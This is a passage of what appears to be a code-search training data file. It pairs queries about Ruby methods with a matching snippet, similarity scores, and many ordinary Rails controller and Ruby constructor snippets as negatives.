Tutorial.find(params[:id])\n\n respond_to do |format|\n if @tutorial.update_attributes(params[:tutorial])\n format.html { redirect_to @tutorial, notice: 'Tutorial was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tutorial.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to clclass_exercises_path(@clclass) }\n format.json { head :no_content }\n end\n end", "def exercise_params\n params.require(:exercise).permit(:body, :last_import, :category_id)\n end", "def update\n respond_to do |format|\n if @tutorial.update(tutorial_params)\n format.html { redirect_to @tutorial, notice: 'Tutorial was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tutorial.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @solution = Solution.find(params[:id])\n\n respond_to do |format|\n if @solution.update_attributes(params[:solution])\n format.html { redirect_to @solution, notice: 'Solution was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @solution.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @exercise = @workout.exercises.new(exercise_params)\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to @exercise, notice: I18n.t('exercises.created') }\n format.json { render :show, status: :created, location: @exercise }\n else\n format.html { render :new }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @exam.update(exam_params)\n format.html { redirect_to @exam, notice: 'Exam was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @exam.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @lecture.update(lecture_params)\n format.html { redirect_to @lecture, notice: 'Lecture was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @lecture.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @survey = Survey.find(params[:id])\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n\n respond_to do |format|\n if @survey.update_attributes(json)\n format.html { redirect_to @survey, notice: 'Survey was successfully updated.' }\n format.json { render json: @survey }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "def exercises(object,new_params,update_params,opts={}) #:nodoc:\n id = nil #initialize\n \n #Create\n builds(object,:params => new_params) do |page|\n id = get_id_from_url(page.response.redirected_to)\n page.follow_redirect!\n page.assert_response :success\n end\n \n #Read\n shows(object,id) do |page|\n assert_equal(id,page.assigns(object).id)\n end\n \n #Update\n edits(object,id,:params => update_params) do |page|\n di = get_id_from_url(page.response.redirected_to)\n assert_equal(id,di)\n page.follow_redirect!\n page.assert_response :success\n end\n \n #Destroy\n destroys(object,id)\n shows(object,id,{:expects => opts[:expected_not_found_response] || 404})\n end", "def set_performed_exercise\n @performed_exercise = PerformedExercise.find(params[:id])\n end", "def put(*args)\n request :put, *args\n end", "def exercise_params\n params.require(:exercise).permit(:name, :kata_details)\n end", "def put(path, opts = {})\n request(:put, path, opts).body\n end", "def create\n @exercise = Exercise.new(exercise_params)\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to @exercise, notice: 'Exercise was successfully created.' }\n format.json { render action: 'show', status: :created, location: @exercise }\n else\n format.html { render action: 'new' }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_oncourse_exercise\n @oncourse_exercise = OncourseExercise.find(params[:id])\n end", "def update\n @todo = Todo.find(params[:id])\n if @todo.update_attributes(todo_params)\n render json: @todo, status: :ok\n else\n render json: @todo.errors, status: 422\n end\n end", "def update\n respond_to do |format|\n if @exam.update(exam_params)\n format.html { redirect_to course_exams_url(@exam.course_id), notice: 'Exam was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @exam.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @experiment = Experiment.find(params[:id])\n\n respond_to do |format|\n if @experiment.update_attributes(params[:experiment])\n format.html { redirect_to @experiment, notice: 'Experiment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @experiment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @experiment = Experiment.find(params[:id])\n\n respond_to do |format|\n if @experiment.update_attributes(params[:experiment])\n format.html { redirect_to @experiment, notice: 'Experiment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @experiment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @exercise = Exercise.new(params[:exercise])\n\n respond_to do |format|\n if @exercise.save\n flash[:class] = \"alert alert-success\"\n format.html { redirect_to @exercise, :notice => 'exercise was successfully created.' }\n format.json { render :json => @exercise, :status => :created, :location => @exercise }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @exercise.errors, :status => :unprocessable_entity }\n end\n end\n end", "def addExistingExercise\n @workout_day = WorkoutDay.find(params[:id])\n exerciseId = params[:exercise][:id]\n\n exercise = Exercise.find(exerciseId)\n\n if !exercise.nil?\n @workout_day.exercises << exercise\n end\n\n @workout_day.save\n\n respond_to do |format|\n format.html { redirect_to @workout_day, notice: 'Exercise successfully added' }\n format.json { render json: @workout_day, status: :created, location: @workout_day }\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to api_v1_question_path(@question), notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @exercise_plan = ExercisePlan.find(params[:id])\n\n respond_to do |format|\n if @exercise_plan.update_attributes(params[:exercise_plan])\n format.html { redirect_to @exercise_plan, notice: 'Exercise plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exercise_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @do_exercise = DoExercise.find(params[:id])\n @do_exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to do_exercises_url }\n format.json { head :no_content }\n end\n end", "def update_mod\n if params[:title] != nil && params[:content] != nil\n @question.title = params[:title]\n @question.content = params[:content]\n\n question_json = @question.to_h.to_json\n\n url = @httpIp+'/pet.com/api/question/updateQuestion'\n uri = URI(url)\n res = Net::HTTP.post(uri, question_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully updated\"\n redirect_to questions_path\n end\n end" ]
[ "0.7324663", "0.71539116", "0.71102846", "0.71102846", "0.71102846", "0.7029578", "0.689915", "0.689915", "0.6848897", "0.6848897", "0.68465215", "0.68130237", "0.6654643", "0.65024143", "0.6470328", "0.6429307", "0.63886136", "0.6323429", "0.63222635", "0.63118863", "0.63048327", "0.6289776", "0.6289776", "0.6271585", "0.6271585", "0.6271585", "0.6271585", "0.6271585", "0.6271585", "0.6271585", "0.6229334", "0.6221611", "0.6205362", "0.6196242", "0.61919326", "0.6174063", "0.6161392", "0.61472833", "0.6143411", "0.61089426", "0.6094226", "0.6045311", "0.60385114", "0.60383236", "0.60383236", "0.60383236", "0.60383236", "0.60308707", "0.60293055", "0.600423", "0.597152", "0.59556836", "0.5947838", "0.59474236", "0.5942092", "0.59334797", "0.59081566", "0.5891267", "0.5886011", "0.58772945", "0.5872925", "0.5872179", "0.58706355", "0.58706355", "0.5862331", "0.5848988", "0.5839201", "0.58373505", "0.58320916", "0.5826927", "0.5790246", "0.57727516", "0.5768811", "0.5751513", "0.5751513", "0.5743974", "0.574107", "0.5738735", "0.57369924", "0.57348746", "0.57345736", "0.5734316", "0.5731689", "0.5725669", "0.57256293", "0.5719436", "0.5713604", "0.5712351", "0.5699457", "0.56966734", "0.56891036", "0.5687048", "0.5685881", "0.5685881", "0.56840074", "0.5681503", "0.56808853", "0.56802005", "0.5677683", "0.5675204" ]
0.69560796
6
DELETE /exercises/1 DELETE /exercises/1.json
def destroy @exercise = Exercise.find(params[:id]) @exercise.destroy respond_to do |format| format.html { redirect_to exercises_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @api_v1_exercise.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_exercises_url, notice: 'Exercise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @oncourse_exercise.destroy\n respond_to do |format|\n format.html { redirect_to oncourse_exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @do_exercise = DoExercise.find(params[:id])\n @do_exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to do_exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url, notice: 'Exercise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url, notice: 'Exercise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url, notice: \"Exercise was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to clclass_exercises_path(@clclass) }\n format.json { head :no_content }\n end\n end", "def destroy\n @patient_exercise = PatientExercise.find(params[:id])\n @patient_exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to patient_exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to(exercises_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @programme_exercise.destroy\n respond_to do |format|\n format.html { redirect_to programme_exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @my_exercise = MyExercise.find(params[:id])\n @my_exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to(my_exercises_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @exercise_set = ExerciseSet.find(params[:id])\n @exercise_set.destroy\n\n respond_to do |format|\n format.html { redirect_to exercise_sets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @daily_exercise = DailyExercise.find(params[:id])\n @daily_exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to daily_exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exerciseoverview.destroy\n respond_to do |format|\n format.html { redirect_to exerciseoverviews_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercice = Exercice.find(params[:id])\n @exercice.destroy\n\n respond_to do |format|\n format.html { redirect_to exercices_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise_instruction = ExerciseInstruction.find(params[:id])\n @exercise_instruction.destroy\n\n respond_to do |format|\n format.html { redirect_to @exercise_instruction.exercise }\n format.json { head :no_content }\n end\n end", "def destroy\n @performed_exercise.destroy\n respond_to do |format|\n format.html { redirect_to performed_exercises_url, notice: 'Performed exercise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise_log = ExerciseLog.find(params[:id])\n @exercise_log.destroy\n\n respond_to do |format|\n format.html { redirect_to exercise_logs_url }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @exercise_category = ExerciseCategory.find(params[:id])\n @exercise_category.destroy\n\n respond_to do |format|\n format.html { redirect_to exercise_categories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise_name.destroy\n respond_to do |format|\n format.html { redirect_to exercise_names_url, notice: 'Exercise name was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exam = Exam.find(params[:id])\n @exam.destroy\n\n respond_to do |format|\n format.html { redirect_to exams_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise_plan = ExercisePlan.find(params[:id])\n @exercise_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to exercise_plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.js #-> loads destroy.js.erb\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = current_user.exercises.find_by_id(params[:id])\n @exercise.destroy\n flash[:notice] = 'Exercise deleted'\n redirect_to :action => 'index'\n end", "def destroy\n @exam.destroy\n respond_to do |format|\n format.html { redirect_to exams_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise_execution.destroy\n respond_to do |format|\n format.html { redirect_to exercise_executions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tutorial_quest = Tutorial::Quest.find(params[:id])\n @tutorial_quest.destroy\n\n respond_to do |format|\n format.html { redirect_to tutorial_quests_url }\n format.json { head :ok }\n end\n end", "def destroy\n @exercise_task.destroy\n respond_to do |format|\n format.html { redirect_to exercise_tasks_url, notice: 'Exercise task was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_demo(id)\n delete_record \"/demos/#{id}\"\n end", "def destroy\n @tutorial.destroy\n respond_to do |format|\n format.html { redirect_to tutorials_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @my_exam = MyExam.find(params[:id])\n @my_exam.destroy\n\n respond_to do |format|\n format.html { redirect_to my_exams_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tutorial = Tutorial.find(params[:id])\n @tutorial.destroy\n render json: @tutorial\n end", "def destroy\n @api_v1_todo.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @introexam.destroy\n respond_to do |format|\n format.html { redirect_to introexams_url, notice: 'Introexam was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def destroy\n @exercise_session.destroy\n respond_to do |format|\n format.html { redirect_to exercise_sessions_url, notice: 'Exercise session was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def destroy\n @reqdifficulty.destroy\n respond_to do |format|\n format.html { redirect_to reqdifficulties_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise.destroy\n redirect_to @workout\n end", "def destroy\n @exercise_program.destroy\n respond_to do |format|\n format.html { redirect_to exercise_programs_url, notice: 'Exercise program was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n # @exam.destroy\n respond_to do |format|\n format.html { redirect_to exams_url, notice: 'Exam was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exam.destroy\n respond_to do |format|\n format.html { redirect_to course_exams_url(@exam.course_id) }\n format.json { head :no_content }\n end\n end", "def destroy\n @lecture.destroy\n respond_to do |format|\n format.html { redirect_to lectures_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise_template.destroy\n\n head :no_content\n end", "def destroy\n @examquestion.destroy\n respond_to do |format|\n format.html { redirect_to examquestions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exam.destroy\n respond_to do |format|\n format.html { redirect_to exams_url, notice: 'Exam was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exam.destroy\n respond_to do |format|\n format.html { redirect_to exams_url, notice: 'Exam was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exam.destroy\n respond_to do |format|\n format.html { redirect_to exams_url, notice: 'Exam was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @lecture_note = LectureNote.find(params[:id])\n @lecture_note.destroy\n\n respond_to do |format|\n format.html { redirect_to lecture_notes_url }\n format.json { head :ok }\n end\n end", "def destroy\n @random_exam.destroy\n respond_to do |format|\n format.html { redirect_to random_exams_url, notice: 'Random exam was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @intake.destroy\n respond_to do |format|\n format.html { redirect_to intakes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exalt = Exalt.find(params[:id])\n @exalt.destroy\n\n respond_to do |format|\n format.html { redirect_to exalts_url }\n format.json { head :ok }\n end\n end", "def delete(id)\n request(:delete, \"/recipes/#{id}.json\")\n end", "def destroy\n @tutorial = Tutorial.find(params[:id])\n @tutorial.destroy\n\n respond_to do |format|\n format.html { redirect_to tutorials_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @first_exam.destroy\n respond_to do |format|\n format.html { redirect_to first_exams_url, notice: 'First exam was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @example.update_attributes(:deleted => 1)\n respond_to do |format|\n format.html { redirect_to examples_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @quest = Quest.find(params[:id])\n @quest.destroy\n\n respond_to do |format|\n format.html { redirect_to quests_url }\n format.json { head :ok }\n end\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def destroy\n @experiment = Experiment.find(params[:id])\n @experiment.destroy\n\n respond_to do |format|\n format.html { redirect_to experiments_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @experiment = Experiment.find(params[:id])\n @experiment.destroy\n\n respond_to do |format|\n format.html { redirect_to experiments_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @experiment = Experiment.find(params[:id])\n @experiment.destroy\n\n respond_to do |format|\n format.html { redirect_to experiments_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @lecture = Lecture.find(params[:id])\n @lecture.destroy\n\n respond_to do |format|\n format.html { redirect_to lectures_url, notice: \"Lecture was successfully deleted.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @contest.destroy\n respond_to do |format|\n format.html { redirect_to contests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @course_asset = CourseAsset.find_by_id(params[:course_asset_id])\n @textbook = @exercise.textbook\n @exercise.destroy\n @exercises = @textbook.exercises.sort{|a,b| a.page.to_i <=> b.page.to_i}\n @ujsAlert = nil\n @ujsNotice = \"Exercise has been successfully deleted.\"\n end", "def destroy\n @tutorial.destroy\n respond_to do |format|\n format.html { redirect_to admin_course_tutorials_path(@course) }\n format.json { head :no_content }\n end\n end", "def destroy\n @practice.destroy\n respond_to do |format|\n format.html { redirect_to practices_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exosuit.destroy\n respond_to do |format|\n format.html { redirect_to exosuits_url, notice: 'Exosuit was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @puzzle = Puzzle.find(params[:id])\n @puzzle.destroy\n\n respond_to do |format|\n format.html { redirect_to puzzles_url }\n format.json { head :ok }\n end\n end", "def destroy\n @tutorial.destroy\n respond_to do |format|\n format.html { redirect_to tutorials_url, notice: 'Tutorial was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @todo = Todo.find(params[:id])\n @todo.destroy\n render json: nil, status: :ok\n end", "def destroy\n @solution = Solution.find(params[:id])\n @solution.destroy\n\n render json: { text: \"success\" }\n end", "def destroy\n @data = @recipe.delete(params[:id])\n render json: @data\n end", "def destroy\n @lecture.destroy\n respond_to do |format|\n format.html { redirect_to lectures_url, notice: 'Lecture was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @lecture.destroy\n respond_to do |format|\n format.html { redirect_to lectures_url, notice: 'Lecture was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @lecture.destroy\n respond_to do |format|\n format.html { redirect_to lectures_url, notice: 'Lecture was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exam.destroy\n respond_to do |format|\n format.html { redirect_to patient_url(@patient), notice: 'Exam was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete!( opts = {} )\n http_action :delete, nil, opts\n end", "def destroy\n @exam_option = ExamOption.find(params[:id])\n @exam_option.destroy\n\n respond_to do |format|\n format.html { redirect_to exam_options_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @example.destroy\n respond_to do |format|\n format.html { redirect_to examples_url, notice: 'Operação realizada com sucesso.' }\n format.json { head :no_content }\n end\n end", "def destroy\n #@tutorial = Tutorial.find(params[:id])\n #@tutorial.destroy\n #\n #respond_to do |format|\n # format.html { redirect_to tutorials_url }\n # format.json { head :no_content }\n #end\n end", "def destroy\n @solution.destroy\n render json: {solutions: @solution}, status: 200\n end", "def destroy\n @examination = Examination.find(params[:id])\n @examination.destroy\n\n respond_to do |format|\n format.html { redirect_to examinations_url }\n format.json { head :ok }\n end\n end", "def destroy \n\n \n @todo = Todo.find(params[:id])\n @todo.destroy\n\n respond_to do |format|\n format.html { redirect_to request.env['HTTP_REFERER'] }\n format.json { head :ok }\n end\n end", "def delete\n question = QuestionTest.where(test_id: params[:test_id], question_id: params[:id])\n if question.delete_all\n return render json: {message: 'Question was removed succesfully.', error: false}\n else\n return render json: {message: 'Error: Something went wrong. Question was not removed.', error: true}\n end\n end", "def delete\n request(:delete)\n end", "def destroy\n @test_question = TestQuestion.find(params[:id])\n @test_question.destroy\n\n respond_to do |format|\n format.html { redirect_to test_questions_url }\n format.json { head :ok }\n end\n end", "def destroy\n @gotcha = Gotcha.find(params[:id])\n @gotcha.destroy\n\n respond_to do |format|\n format.html { redirect_to gotchas_url, notice: 'Gotcha was successfully removed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire.destroy\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @examan.destroy\n respond_to do |format|\n format.html { redirect_to examen_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire = Questionnaire.find(params[:id])\n @questionnaire.destroy\n\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.79378635", "0.79288936", "0.79288936", "0.7713915", "0.7685438", "0.76078516", "0.76078516", "0.76063395", "0.76054764", "0.75452346", "0.75288355", "0.74851006", "0.74347275", "0.74320525", "0.7387946", "0.7319115", "0.72717196", "0.72684777", "0.7254346", "0.72319186", "0.71537626", "0.7096493", "0.7061813", "0.70582044", "0.7036431", "0.7026847", "0.7025355", "0.7006342", "0.69937646", "0.69818383", "0.6957397", "0.6939933", "0.68468714", "0.6837426", "0.6830753", "0.6821843", "0.68117666", "0.68053126", "0.67956424", "0.6794005", "0.6780863", "0.67783785", "0.67764515", "0.677167", "0.6761162", "0.6754312", "0.67446685", "0.6739932", "0.6738678", "0.6738678", "0.6738678", "0.67186636", "0.6700572", "0.66952664", "0.66800785", "0.66708416", "0.66672176", "0.66667616", "0.6664792", "0.66630703", "0.6656231", "0.6656231", "0.6656231", "0.6656231", "0.66486794", "0.66486794", "0.66486794", "0.66476405", "0.6645173", "0.6641325", "0.66322815", "0.66253823", "0.6623506", "0.66208535", "0.66186875", "0.66180426", "0.6616249", "0.66055775", "0.66047907", "0.66047907", "0.66047907", "0.6601171", "0.6595955", "0.6595373", "0.65925366", "0.65923345", "0.6590511", "0.6589638", "0.6584873", "0.6579299", "0.6577318", "0.6574792", "0.657404", "0.65722674", "0.65695125", "0.6565701" ]
0.7903338
6
Permet d'initialiser les joueurs
def initialize(player_name) @name = player_name.to_s @life_points = 10 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initTableaux\n @meilleursJoueursScore = [[],[],[]]\n for i in 1..4\n @meilleursJoueursScore.push([])\n for j in 0..4\n @meilleursJoueursScore[i][j]=0\n end\n end\n @meilleursJoueursPseudo = [[],[],[]]\n for i in 1..4\n @meilleursJoueursPseudo.push([])\n for j in 0..4\n @meilleursJoueursPseudo[i][j]=\"---\"\n end\n end\n end", "def initialize # utilise la classe player pour demander les infos aux joueurs et la classe baord pour lancer la tipar\n puts \" The Houmous Project présente Morbac\"\n @player_one = Player.new\n @player_one.informations\n @player_two = Player.new\n @player_two.informations\n @boboard = Board.new\n end", "def initialize(first_name1, first_name2, board)\n @board = board\n #on initialise les players avec les signes x et o\n player1 = Player.new(first_name1, \"X\")\n player2 = Player.new(first_name2, \"O\")\n #tableau des joueurs, peut etre a supprimer\n @array_players = [player1, player2]\n #nombre de tour pour finir le jeu apres 9 coups, current player pour definir qui joue\n @turn_count = 1\n @current_player = player1\n end", "def test_2_initialize\n #TO DO :\n #Quand la classe s'initialize, elle doit créer 9 instances BoardCases\n #Ces instances sont rangées dans une array qui est l'attr_accessor de la classe\n#####################################################\n# Creation de mon board hash avec chacune des valeurs empty\n @board = [\" \", \" \",\" \",\n \" \", \" \", \" \",\n \" \",\" \", \" \"]\n\n# Rappel de chacune des valeurs via leur index: pour initialiser à chaque tour\n\n end", "def initialize # Demande les paramètres aux joueurs\n puts \"Welcome to the BDX Tic-Tac-Toe ! Have fun with our progZ !\"\n @p_one = Player.new\n @p_one.infos\n @p_two = Player.new\n @p_two.infos\n @board_game = Board.new\n end", "def set_initial_values\n now = Time.now\n @first_seen ||= now\n @last_activity ||= now\n @total_connections ||= 0\n @total_time ||= 0\n @money ||= 0\n @donations ||= 0\n @rank ||= 0\n @colour ||= :ansi\n @muffled ||= false\n @history ||= History.new\n @aliases ||= {}\n @ignoring ||= {}\n @ignoring_ips ||= {}\n @drug_strength ||= 0\n @alcohol_units ||= 0\n @onduty = @onduty.nil? ? true : @onduty\n end", "def initialize_game\n p '########################################################################################'\n p '########################################################################################'\n p 'Bienvenu dans le Tic-Tac-Toe !'\n p 'Le plateau se décrit de la manière suivante :'\n p ' 1 | 2 | 3 '\n p ' ----------'\n p ' 4 | 5 | 6 '\n p ' ----------'\n p ' 7 | 8 | 9 '\n p 'A chaque tour, un des joueurs doit séléctionner la case ou il veut rentrer son symbole.'\n p 'Le premier joueur est les ronds, le second est les croix.'\n p 'Le jeu commence une fois que chaque joueur a inscrit son prénom.'\n p '########################################################################################'\n p '########################################################################################'\n @nb_tour = 1\n end", "def initialize(jugada_realizada)\n if $jugadas[jugada_realizada] != nil\n @jugada = $jugadas[jugada_realizada]\n else\n @jugada = nil \n end\n end", "def initializePesos\r\n \t@cantNeuronas.times do\r\n\t patron = @patrones[rand(@patrones.count-1)]\r\n @neuronas << {:class=>rand(@cantClases), :pesos => initPesos}\r\n\tend\r\n end", "def initialize\n # Les 9 instances de Board_case\n case1 = Board_case.new\n case2 = Board_case.new\n case3 = Board_case.new\n case4 = Board_case.new\n case5 = Board_case.new\n case6 = Board_case.new\n case7 = Board_case.new\n case8 = Board_case.new\n case9 = Board_case.new\n\n # On insert les instances dans le tableau\n @@tab = [[case1,case2,case3],[case4,case5,case6],[case7,case8,case9]]\n end", "def initialize\n # Les 9 instances de Board_case\n case1 = Board_case.new\n case2 = Board_case.new\n case3 = Board_case.new\n case4 = Board_case.new\n case5 = Board_case.new\n case6 = Board_case.new\n case7 = Board_case.new\n case8 = Board_case.new\n case9 = Board_case.new\n\n # On insert les instances dans le tableau\n @@tab = [[case1,case2,case3],[case4,case5,case6],[case7,case8,case9]]\n end", "def initialize(tablao)\n #TO DO :\n #Quand la classe s'initialize, elle doit créer 9 instances BoardCases\n #Ces instances sont rangées dans une array qui est l'attr_accessor de la classe\n for i in 1..9\n @tablao << BoardCase.new(i, \"_\")\n end\n \n end", "def pre_initialize; end", "def initialize(mano)\n\t\t@jugada = mano\n\tend", "def initialize\n\t#@users = count\n\t#@players = Array.new(@users,0) \n @table = Table.new\n\t@hands= Array.new(3,0){Array.new(0,0)} #...so..[[0,0],[0,0],[0,0],[0,0]] \nend", "def initialize(debut)\n @debut = debut\n \n # Allez chercher les feuilles de temps deja existantes\n @feuilles = Feuille.where(\"periode = ?\", debut.to_formatted_s(:db)).to_a\n \n # Ensuite ajouter des feuilles de temps pour les employes\n employes = Employe::employesActif\n employes.each do | empl |\n if Feuille.find_by(\"employe_id = ? and periode = ?\", empl.id, @debut.to_formatted_s(:db)).nil?\n feuille = Feuille.new({:employe_id => empl.id, :periode => @debut})\n @feuilles << feuille\n end\n end\n @feuilles.sort!{ |f1, f2 | f1.nom <=> f2.nom }\n end", "def initialize(name) # j'initialise les données qui doivent être ajoutées en même temps que la création du player\n @name = name # le nom du joueur\n @life_points = 10 # le niveau de vie de départ\n end", "def initialize()\n @contenu = [\n [\"t\", \"i\", \"c\"],\n [\"t\", \"a\", \"c\"],\n [\"t\", \"o\", \"e\"]\n ]\n end", "def initialize\n self.timer_list = []\n self.all_characters = []\n self.all_accounts = []\n self.admins = []\n self.builders = []\n self.msgs = {}\n @connected_characters = []\n end", "def init; end", "def init; end", "def init; end", "def init; end", "def initialize()\n @mano = $sin_jugada\n end", "def initialize(numNeuronas,numEntradas)\n @numEntradas = numEntradas\n @numNeuronas = numNeuronas\n initializeWeights\n @matrixMomentum = []\n for i in 0..@matrixWeights.length-1\n aux = []\n for j in 0..@matrixWeights[0].length-1\n aux << 0\n end\n @matrixMomentum << aux\n end\n @vectorUmbral = []\n for i in 0..@numNeuronas-1\n @vectorUmbral[i] = 0\n end\n end", "def initialize(*args)\n super\n self.absorbido = {}\n self.absorbido[batalla.flota_atacante.object_id] = 0\n self.absorbido[batalla.flota_defensora.object_id] = 0\n end", "def init_players\n\t\t@human = Human.new(\"Jack\", Field.new)\n\t\t@computer = Computer.new(Field.new)\n\t\tinit_fields\n\tend", "def initialize() end", "def initialize_players\n\n end", "def initialize(nombre,edad) #--> se crean los metodos, y se inicializan para darles un valor al crear el objeto \n @nombre = nombre #-->la variable local 